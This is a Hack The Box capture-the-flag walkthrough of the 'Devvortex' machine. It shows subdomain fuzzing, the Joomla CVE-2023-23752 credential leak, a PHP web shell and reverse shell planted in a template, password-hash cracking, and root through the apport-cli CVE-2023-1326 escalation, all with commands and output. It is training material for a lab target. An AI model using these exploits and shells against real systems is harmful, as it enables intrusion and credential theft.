Devvortex || Hack The Box
Devvortex is a really cool box that tickles some basic skills that us as pentesters should have let’s start by our nmap scan
nmap -sS -sC -T4 -p- -vv -oA nmap_scan_allports 10.129.229.146
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open http syn-ack ttl 63
|_http-title: Did not follow redirect to http://devvortex.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONSit looks like there’s not much to go araound only the http port so that must be our way to the box so let’s open it
It’s obvious that it’s redirecting us to another page, so let’s follow this. we will add the vhost to our /etc/hosts file
echo '10.129.229.146 devvortex.htb' >> /etc/hostsSo I set up my broxy and let’s navigate to the page and look around. I looked around, and it looks like there’s nothing much. So let’s go and fuzz some sub-domains.
wfuzz -c -w /usr/share/seclists/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt -u 'http://devvortex.htb/' -H "HOST:FUZZ.devvortex.htb" --hw 10
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 501 L 1581 W 23221 Ch "dev - dev" simple sub-domain fuzzing and we now know that there’s a dev sub-domain so we add that to our hosts file and keep going around and also there’s nothing much there i kept looking for any requests going from and to the page and there was nothing so i decided to keep looking for a sub domain for my sub-domain cuz why not ?
wfuzz -c -w /usr/share/seclists/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt -u 'http://dev.devvortex.htb/' -H "HOST:FUZZ.dev.devvortex.htb" --hw 10and there’s nothing there so let’s keep looking for any hints in the source code for any indication but also there was nothing so i made a cup of tea and strated fuzzing directories for the sub-domain we found later
$ ffuf -u http://dev.devvortex.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://dev.devvortex.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
images [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 268ms]
home [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 415ms]
media [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 325ms]
templates [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 340ms]
modules [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 235ms]
plugins [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 292ms]
includes [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 200ms]
language [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 207ms]
components [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 215ms]
api [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 178ms]
cache [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 322ms]
libraries [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 326ms]
tmp [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 254ms]
layouts [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 271ms]
administrator [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 286ms]
cli [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 153ms]administrator ?!! that seems interesting let’s dive into that
and that’s intersting also we found an admin panel and the website is using joomla CMS, that seems promising
What I usually like doing when I visit one of those famous CMS. At the beginning, I try the default credentials for quick wins , but since this website is using Joomla so the default password is set while setting up the Jumala CMS but anyway, I tried to use the default credentials, like admin:admin And admin:password, but none of them worked. So what I usually like doing right now is hunting for the version of the joomla. And see if they have if they have any vulnerability Or RCE. So I opened the source code and started looking for the version but didn’t find it.
So let’s search for the README files, xmls and similar stuff that can be installed with Jumala or any other CMS that host info about the version in use that usually administrators leave without deleting and one of those file paths is
administrator/manifests/files/joomla.xmland here we are we found the version that’s really good
<?xml version="1.0" encoding="UTF-8"?>
<extension type="file" method="upgrade">
<name>files_joomla</name>
<author>Joomla! Project</author>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>(C) 2019 Open Source Matters, Inc.</copyright>
<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
<version>4.2.6</version>
<creationDate>2022-12</creationDate>
<description>FILES_JOOMLA_XML_DESCRIPTION</description>
<scriptfile>administrator/components/com_admin/script.php</scriptfile>
<update>
<schemas>
<schemapath type="mysql">administrator/components/com_admin/sql/updates/mysql</schemapath>
<schemapath type="postgresql">administrator/components/com_admin/sql/updates/postgresql</schemapath>
</schemas>
</update>
<fileset>
<files>
<folder>administrator</folder>
<folder>api</folder>
<folder>cache</folder>
<folder>cli</folder>
<folder>components</folder>
<folder>images</folder>
<folder>includes</folder>
<folder>language</folder>
<folder>layouts</folder>
<folder>libraries</folder>
<folder>media</folder>
<folder>modules</folder>
<folder>plugins</folder>
<folder>templates</folder>
<folder>tmp</folder>
<file>htaccess.txt</file>
<file>web.config.txt</file>
<file>LICENSE.txt</file>
<file>README.txt</file>
<file>index.php</file>
</files>
</fileset>
<updateservers>
<server name="Joomla! Core" type="collection">https://update.joomla.org/core/list.xml</server>
</updateservers>
</extension>here we have the version and some other directories that we can check i checked all of them but they didn’t have any info so i started looking for vulnerbilities for the version (4.2.6)
So I started searching for a vulnerability for this version, and I found an Information Disclosure vulnerability(CVE-2023–23752). At the beginning, I was not sure if that’s the path because i thought information disclosure would not bring so much because I was expecting an RCE, but I decided to open the code and execute it anyway and see what it’s gonna bring us.
ruby 51334.py http://dev.devvortex.htb
ruby: warning: shebang line ending with \r may cause problems
Users
[649] lewis (lewis) - lewis@devvortex.htb - Super Users
[650] logan paul (logan) - logan@devvortex.htb - Registered
Site info
Site name: Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false
Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: P4ntherg0t1n5r3c0n##
DB name: joomla
DB prefix: sd4fg_
DB encryption 0i was amazed by the finding we have valid creds now !! , so lesson learned don’t underestimate an information disclosure vulnerability.
so i logged in and went straight to the plugins and tested if i have can execute commands using this php code
system($_GET['cmd']);and then visited the page tried a command and it’s working so let’s upload a reverse shell i usually use the pentestmonkey_shell
i added it to the error.php page and set up my listener
$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.15.193] from (UNKNOWN) [10.129.229.146] 38704
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)let’s spwan alittle stable shell using python
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@devvortex:/$ ls
ls
bin cdrom etc lib lib64 lost+found mnt proc run srv tmp var
boot dev home lib32 libx32 media opt root sbin sys usrand here we go we are on the machine let’s try and enumerate the machine to see what we can do
Get Omar alaa’s stories in your inbox
Join Medium for free to get updates from this writer.
since this is an easy machine. There are usually going to be hiding the password for a user somewhere, maybe in the configuration files, maybe in the database. So let’s keep looking.
www-data@devvortex:/$ cd /var/www
www-data@devvortex:~$ ls
dev.devvortex.htb devvortex
ww-data@devvortex:~$ cd dev.devvortex.htb
www-data@devvortex:~/dev.devvortex.htb$ ls
LICENSE.txt cli includes media tmp
README.txt components index.php modules web.config.txt
administrator configuration.php language pluginsand i went to the /var/www file and i found configuration.php file inside dev.devvortex.htb
cat configuration.php
<?php
class JConfig {
public $offline = false;
public $offline_message = 'This site is down for maintenance.<br>Please check back again soon.';
public $display_offline_message = 1;
public $offline_image = '';
public $sitename = 'Development';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = 20;
public $access = 1;
public $debug = false;
public $debug_lang = false;
public $debug_lang_const = true;
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'lewis';
public $password = 'P4ntherg0t1n5r3c0n##';
public $db = 'joomla';
public $dbprefix = 'sd4fg_';
public $dbencryption = 0;
public $dbsslverifyservercert = false;
public $dbsslkey = '';
public $dbsslcert = '';
public $dbsslca = '';
public $dbsslcipher = '';
public $force_ssl = 0;
public $live_site = '';
public $secret = 'ZI7zLTbaGKliS9gq';
public $gzip = false;
<....sniped.....>
public $shared_session = false;
public $session_metadata = true;And that’s the file that we saw earlier in the information disclosure vulnerability, but now it’s complete. And we now have a database username and password. And also we know that we’re using MySQL.
so let’s try and use the database user and password
www-data@devvortex:~/dev.devvortex.htb$ mysql -u lewis -p
Enter password: P4ntherg0t1n5r3c0n##
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 184110
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>and we are in so let’s enum the database
and i found an intersting table inside the joomla database that is called sd4fg_users
so i tried to see what it has and it looks like we have a hash that needs cracking
mysql> select name,username,password from sd4fg_users;
;
+------------+----------+--------------------------------------------------------------+
| name | username | password |
+------------+----------+--------------------------------------------------------------+
| lewis | lewis | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |
| logan paul | logan | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |
+------------+----------+--------------------------------------------------------------+so i copied the hash and searched for it’s fomat on JTR adn it’s bcrypt
so i copied it inside .txt file and tried to crack it
┌──(Cl0z3d㉿kali)-[~/HackTheBox/machines/Devvortex]
└─# john --wordlist=/root/rockyou.txt --format=bcrypt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho (?)
1g 0:00:00:16 DONE (2025-12-27 11:16) 0.06105g/s 85.71p/s 85.71c/s 85.71C/s lacoste..harry
Use the "--show" option to display all of the cracked passwords reliably
Session completed.and we know have a pssword for the logan user that sounds amazing let’s try and ssh to the server
──(Cl0z3d㉿kali)-[~/transfer]
└─# ssh logan@10.129.229.146
logan@10.129.229.146's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-167-generic x86_64)
Last login: Mon Feb 26 14:44:38 2024 from 10.10.14.23
logan@devvortex:~$ ls
user.txt
logan@devvortex:~$ cat user.txt
7cb5a1db1**********2698dbbaa27aand we are in and we have the user.txt
time to privesc i tried simple sudo -l
logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cliand we can execute this app with sudo privs so i opened google and searched for this app and what id does and if does have any relatedd privilege esclation and i found that CVE (CVE-2023–1326) that’s easy so let’s try and follow the github repo to get the root privs
sudo /usr/bin/apport-cli -c /var/crash/some_crash_file.crash
press V (view report)
!/bin/bashThe repo says that we have to run any crash file and then press V and after that we can type any command as the User root but there’s no crash file on the host. I didn’t find any,So I have to generate a crash file. At the beginning I tried to copy any crash file from the Internet and name file.crash but it didn’t work. So I decided to make my own crash file using the system it self.
logan@devvortex:~$ python3 -c "import ctypes; ctypes.string_at(0)"
logan@devvortex:~$ ls -la /var/crash/
total 1048
drwxrwxrwt 2 root root 4096 Dec 27 16:42 .
drwxr-xr-x 13 root root 4096 Sep 12 2023 ..
-rw-r----- 1 logan logan 1057696 Dec 27 16:42 _usr_bin_python3.8.1000.crashand here we have the crash file so let’s keep going with repo and try to get the root flag
logan@devvortex:~$ sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_python3.8.1000.crash
*** Send problem report to the developers?
After the problem report has been sent, please fill out the form in the
automatically opened web browser.
What would you like to do? Your options are:
S: Send report (1.1 MB)
V: View report
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
Please choose (S/V/K/I/C): v
*** Collecting problem information
The collected information can be sent to the developers to improve the
application. This might take a few minutes.
....................................................................................................................................................................
............................................................................
...................................................................
!id
/bin/bash: idf: command not found
!done (press RETURN)
uid=0(root) gid=0(root) groups=0(root)
!done (press RETURN)
uid=0(root) gid=0(root) groups=0(root)
!ls /root
!done (press RETURN)
root.txt
!cat /root/root.txt
!done (press RETURN)
ee646b135**2b2*******76d2c811c08we know have the root user and the root flag, happy hacking :)
